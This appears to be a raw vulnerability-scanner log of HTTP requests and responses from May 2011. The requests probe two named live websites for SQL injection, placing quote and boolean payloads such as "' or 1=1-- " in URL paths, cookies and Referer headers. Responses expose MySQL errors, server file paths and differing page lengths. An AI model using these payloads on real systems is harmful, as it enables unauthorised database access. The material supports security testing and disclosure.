Date: Fri, 06 May 2011 16:00:06 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Content-Length: 934
Content-Type: image/jpg

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br /><br /><textarea rows="10" cols="100">SEL
...[SNIP]...
</textarea>
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/safari/get-image.php on line 15

Warning: fopen(../images/not-found.jpg): failed to open stream: No such file or directory in /home/chroot/home/james/safari/get-ima
...[SNIP]...

GET /get-image.php?id=1/1'8696 HTTP/1.1
Referer: http://www.caribbean-ocean.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.caribbean-ocean.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 16:00:17 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Content-Length: 940
Content-Type: image/jpg

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'8696' at line 1<br /><br /><textarea rows="10" cols="100"
...[SNIP]...
</textarea>
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/safari/get-image.php on line 15

Warning: fopen(../images/not-found.jpg): failed to open stream: No such file or directory in /home/chroot/home/james/safari/get-ima
...[SNIP]...

GET /luxury%20Barbados%20Resort%20holidays/91' HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:57 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 6887

<html>
<head>
<title>Luxury and exclusive Caribbean holidays in luxury</title>

<meta name="keywords" content="Luxury Jamaica holidays, Tobago, Bahamas, luxury St Kitts, luxury St Vincent holidays, SD
...[SNIP]...
<br />

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\') ORDER BY area_name ASC' at line 1<br />
...[SNIP]...
</textarea>
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/safari/countries2.php on line 267

</div>
...[SNIP]...

GET /luxury%20Jamaica%20Resort%20holidays/105' HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/luxury%20Barbados%20Resort%20holidays/91
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:25 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 6888

<html>
<head>
<title>Luxury and exclusive Caribbean holidays in luxury</title>

<meta name="keywords" content="Luxury Jamaica holidays, Tobago, Bahamas, luxury St Kitts, luxury St Vincent holidays, SD
...[SNIP]...
<br />

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\') ORDER BY area_name ASC' at line 1<br />
...[SNIP]...
</textarea>
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/safari/countries2.php on line 267

</div>
...[SNIP]...

GET /main/do/Advertiser_Agreement35525155'%20or%201%3d1--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:23 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=bdf614ab3757af735415e00061963d45; expires=Sun, 08 May 2011 19:37:23 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:23 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

GET /main/do/Advertiser_Agreement35525155'%20or%201%3d2--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:23 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=e7b89d9d22ee322e26c928d489ab60ae; expires=Sun, 08 May 2011 19:37:23 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:23 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html
Set-Cookie: TSa27990=17226455681a23b43340e174788d7a47cf55f197b0915ed34dc443f49c5eca853e60e59c; Path=/

GET /main/do/Advertiser_Agreement HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D64212002'%20or%201%3d1--%20

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:57 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=dba9e76780dab5082f6ad3b40d81f7c9; expires=Sun, 08 May 2011 19:35:57 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:57 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=a6085532e0617f3f26069bb7f806dc6988fcd6e4d06ed9974dc443569c5eca85b77317fc; Path=/
Content-Length: 34603

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Advertising User Agreement</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Advertising User Agreement">
   <meta name="keywords" content="Advertising User Agreement">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">

   
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />


   
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function,
...[SNIP]...

GET /main/do/Advertiser_Agreement HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725151554; s_lv=1304725151555; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D64212002'%20or%201%3d2--%20

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:57 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=6fbc3a6086880dcc38961944854f905d; expires=Sun, 08 May 2011 19:35:57 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:57 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 34603

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Advertising User Agreement</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Advertising User Agreement">
   <meta name="keywords" content="Advertising User Agreement">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">

   
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />


   
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>

<script type="text/javascript
...[SNIP]...

GET /main/do/Careers72254876'%20or%201%3d1--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:43 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=ad448786cf2b76ce54480dea55d64ae9; expires=Sun, 08 May 2011 19:36:43 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:43 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

GET /main/do/Careers72254876'%20or%201%3d2--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:36:43 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=7498864a68df42f076f73d37ca5f499f; expires=Sun, 08 May 2011 19:36:43 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:36:43 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=12491798'%20or%201%3d1--%20
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:29 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=50020d3c5d5f588a1b914a2e77bc27a7; expires=Sun, 08 May 2011 19:35:29 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:29 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=46792d7b37bb084f60dc2f6e1f256825516b4aa4839835dd4dc443829c5eca85df506b6d; Path=/
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">

   
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />


   
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines o
...[SNIP]...

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=12491798'%20or%201%3d2--%20
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:29 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=f73a685d8d2810e0713139115067fb17; expires=Sun, 08 May 2011 19:35:29 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:29 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">

   
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />


   
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/js
...[SNIP]...

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true62583083'%20or%201%3d1--%20; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:07 GMT
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=e2553f7484cb2c7783f3a5c243d53604; expires=Sun, 08 May 2011 19:35:07 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:07 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Set-Cookie: TSa27990=1e404d829976e6f2f6bbfbc4ca9a68ff17a0fb93ea548b494dc443259c5eca85caf3474a; Path=/
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">

   
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />


   
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>
<!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines o
...[SNIP]...

GET /main/do/Careers HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://dominionenterprises.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1304725150345; s_lv=1304725150346; s_lv_s=First%20Visit; s_invisit=true; s_cc=true62583083'%20or%201%3d2--%20; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:07 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Set-Cookie: PHPSESSID=ecde5f56d9a309efc466b068f1ee9147; expires=Sun, 08 May 2011 19:35:07 GMT; path=/
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:35:07 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 19076

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Careers</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Careers">
   <meta name="keywords" content="Careers">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/style.css" type="text/css">
   <link rel="stylesheet" href="http://www.dominionenterprises.com/site/style/menu.css" type="text/css">

   
   <link rel="stylesheet" type="text/css" media="all" href="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-blue.css" title="win2k-cold-1" />


   
<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script>

<script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/js
...[SNIP]...

GET /main/do/For_Businesses16640137'%20or%201%3d1--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/Advertiser_Agreement
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725152629:ss=1304725152629; s_nr=1304725175943; s_lv=1304725175944; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:58 GMT
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:58 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32708

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
